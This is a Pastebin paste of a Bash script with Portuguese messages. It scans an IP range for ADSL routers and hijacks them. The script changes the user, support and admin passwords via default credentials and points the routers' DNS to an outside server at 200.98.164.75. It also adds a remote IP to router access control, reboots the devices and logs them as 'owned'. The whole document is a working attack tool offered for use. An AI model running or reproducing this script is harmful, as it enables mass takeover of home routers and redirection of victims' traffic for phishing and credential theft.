Advertisement
Guest User

Untitled

a guest
Mar 19th, 2012
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. #!/bin/bash
  2. x=`nmap -V | grep "Nmap version 5.21"`;
  3. if [ ! "$x" ];
  4. then
  5. echo "Erro: verifique o nmap";
  6. exit;
  7. fi;
  8. if [ ! $1 ];
  9. then
  10. echo "Digite full.sh [xxx.xxx.xxx]";
  11. echo "xxx.xxx.xxx sem o ultimo valor pois ele vai automatico de 1 a 254 ;)";
  12. else
  13. for (( i=1; i<255; i++ ))
  14. do
  15. ip="$1.$i";
  16. echo "Efetuando disparo $ip";
  17. x=`nmap -sS $ip -n -p T:80 | grep "Host is up"`;
  18. if [ "$x" ];
  19. then
  20. echo "Trocando Password do ADSL $ip";
  21.  
  22. curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?usrPassword=bklchange -d "userName=3&pwdOld=user&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
  23. if [ $? == "0" ];
  24. then
  25. curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?sptPassword=bklchange -d "userName=2&pwdOld=support&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
  26. curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?sysPassword=bklchange -d "userName=1&pwdOld=admin&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
  27. curl --max-time 30 --connect-timeout 30 http://$ip/dnscfg.cgi -d "dnsPrimary=200.98.164.75&dnsSecondary=200.98.164.75&dnsDynamic=0&dnsRefresh=0" -u admin:bklchange > /dev/null;
  28. curl --max-time 30 --connect-timeout 30 -u admin:bklchange "http://$ip/scacccntr.cmd?action=add&addr=200.98.166.48" > /dev/null;
  29. curl --max-time 30 --connect-timeout 30 -u admin:bklchange "http://$ip/scacccntr.cmd?action=save&secAccCntrMode=1" > /dev/null;
  30. v=`curl --max-time 30 --connect-timeout 30 http://$ip/rebootinfo.cgi -u admin:bklchange | grep "DSL Router Reboot"`;
  31. if [ "$v" ];
  32. then
  33. echo $ip >> modem-owned.log
  34. fi;
  35. fi;
  36. fi;
  37. done
  38. fi;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement